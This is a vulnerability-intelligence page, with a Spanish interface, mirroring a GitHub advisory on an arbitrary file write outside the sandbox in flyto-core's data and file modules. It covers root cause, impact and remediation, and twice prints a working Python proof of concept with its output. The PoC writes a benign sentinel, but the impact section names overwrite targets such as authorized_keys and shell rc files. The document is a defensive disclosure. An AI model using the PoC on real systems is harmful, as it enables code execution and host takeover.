llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-P34X-FMPH-9FJX

Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -132 d de la divulgación
Exposición6 hDesde la divulgación, 19 nov 2026, 7:09 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 2.26.8
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
11 jul 26
18 nov 26
20 nov 26
11 jul 26
13 ago 26
15 sept 26
18 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 2.26.8 flyto-core · -132 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-P34X-FMPH-9FJX divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

[CRITICAL] Arbitrary file write via unguarded `data.*` / `file.*` write modules — incomplete fix of GHSA-2956

  • CWE: CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).
  • CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.3 Critical (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).
  • AV:N — reachable via the MCP server / recipe engine (`execute_module`). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes `FLYTO_SANDBOX_DIR`. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / `~/.bashrc` / cron / `authorized_keys` → RCE.
  • Affected component: `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7 line). Modules `data.csv.write` (`src/core/modules/atomic/data/csv_write.py`), `data.json_to_csv` (`.../data/json_to_csv.py`), `file.copy` (`.../file/copy.py`), `file.move` (`.../file/move.py`) — and the broader `data.*`/`file.*`/report-writer families that do not call the path guard.
  • Relationship: Incomplete fix of GHSA-2956-977x-2w3r (Critical arbitrary file write, patched in v2.26.6 by commit `d5f89d7`). That fix routed a hand-picked module list (`image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate`, `document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word`, `browser.pagination` checkpoint) through `validate_path_with_env_config()`. It did not cover the `data.*` and `file.*` write families, which still write a client-controlled path with no confinement.

## Reachability (hop-by-hop, guards resolved)
1. Client invokes a module via the recipe engine / MCP `execute_module` (`src/core/mcp_handler.py`, `mcp_server.py`) — the same surface as GHSA-2956 / CVE-2026-55786.
2. `data.csv.write` reads `file_path = params.get('file_path')` and `data` (both client-controlled). Its only path check is `if '..' in file_path: raise` — a denylist that does not block absolute paths.
3. It calls `os.makedirs(os.path.dirname(file_path), exist_ok=True)` then `open(file_path, 'w')` and writes `data`. No call to `validate_path_with_env_config()` — so `FLYTO_SANDBOX_DIR` confinement is never applied.
4. `data.json_to_csv` (`output_path`), `file.copy` / `file.move` (`shutil.copy2`/`shutil.move` to `destination`) have no path check at all.
5. An absolute path such as `/home/<user>/.bashrc`, `/app/src/core/modules/.../<mod>.py`, or a `.flyto` recipe file is written verbatim, outside the sandbox.

Guard analysis: the GHSA-2956 enforcement is per-module (e.g. `image/download.py:21` imports and calls `validate_path_with_env_config`). There is no central path enforcement in the runtime — `runtime/languages.py`'s `PathTraversalError` guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.

## Root cause
The remediation for GHSA-2956 confined writes by adding a per-module `validate_path_with_env_config()` call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire `data.*` and `file.*` families here — remains an arbitrary-write primitive. `data.csv.write`'s `'..'`-substring check is a denylist that misses absolute paths.

## Impact
Arbitrary file write with attacker-controlled content and path, escaping `FLYTO_SANDBOX_DIR`. Overwriting a Python module under the install dir, a `.flyto` recipe, a shell rc, a crontab, or `~/.ssh/authorized_keys` yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.

## Executable PoC (benign sentinel, local only)
`FLYTO_SANDBOX_DIR` is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.

import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/flyto_sbx"); os.makedirs(SBX, exist_ok=True)
sys.path.insert(0, "<flyto-core>/src")
OUT = "/tmp/flyto_PWNED_OUTSIDE.csv"           # absolute, outside the sandbox, no ".."
from core.utils import validate_path_with_env_config, PathTraversalError
try:
    validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
    print("[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
asyncio.run(call(csv_write,  {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
asyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))
print("wrote outside sandbox:", os.path.exists(OUT),
      "| inside sandbox?", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))

Observed output:

[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path
[data.csv.write]   wrote=True inside_sandbox=False
[data.json_to_csv] wrote=True inside_sandbox=False
BUG CONFIRMED (arbitrary write outside sandbox)
  sample content: pwn / SENTINEL_CSV

## Adversarial re-read (what I tried to refute it with)
- Central path guard? No — `runtime/languages.py` `PathTraversalError` only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at `image/download.py:21`). A module without the call is unconfined.
- `'..'` check in `csv_write`? Denylist; absolute paths contain no `..` → bypassed (PoC uses `/tmp/...`). `json_to_csv`/`file.copy`/`file.move` have no check at all.
- `required_permissions=['filesystem.write']`? A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.
- Sandbox default? `FLYTO_SANDBOX_DIR` defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.
- Result: no concrete blocker. CONFIRMED (incomplete fix).

## Remediation
Enforce confinement centrally: route every filesystem write through `validate_path_with_env_config()` at the engine/module-base layer (e.g. in the write path of `BaseModule`, or a `filesystem.write`-capability hook), instead of per-module opt-in. As an immediate patch, add the call to `data.csv.write`, `data.json_to_csv`, `file.copy`, `file.move`, and audit every module with `filesystem.write` in `required_permissions`. Replace the `'..'` substring denylist with the canonical `realpath`+`startswith(base)` check already in `validate_path_safe`.

## Confidence
High — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside `FLYTO_SANDBOX_DIR`, while the GHSA-2956 guard rejects the same path.

Proof-of-Concept source (`poc_arbitrary_write.py`)

"""PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).
Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it."""
import os, sys, asyncio
SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', "/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx")
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "..", "flyto-core", "src"))
sys.path.insert(0, "/home/aoc/CVEs/flyto-core/src")
OUT="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv"; OUT2="/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv"
from core.utils import validate_path_with_env_config, PathTraversalError
try:
    validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow")
except PathTraversalError:
    print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path")
async def call(W, p): return await W(p, {}).execute()
from core.modules.atomic.data.csv_write import csv_write
from core.modules.atomic.data.json_to_csv import json_to_csv
r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))
r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))
for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:
    inside = os.path.realpath(out).startswith(os.path.realpath(SBX))
    print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}")
ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))
print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED")
print("  sample content:", open(OUT).read().strip())

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
flyto-core< 2.26.8
2.26.8
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.8 -132 d 2.41.0 no afectada
Versiones corregidas2.26.8
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/flytohub/flyto-core/security/advisories/GHSA-p34x-fmph-9fjx
Otrahttps://github.com/flytohub/flyto-core/commit/bbb6f1cfec22fee1ea0e6ecf1129d7103c85e09f
Otrahttps://github.com/flytohub/flyto-core
Otrahttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.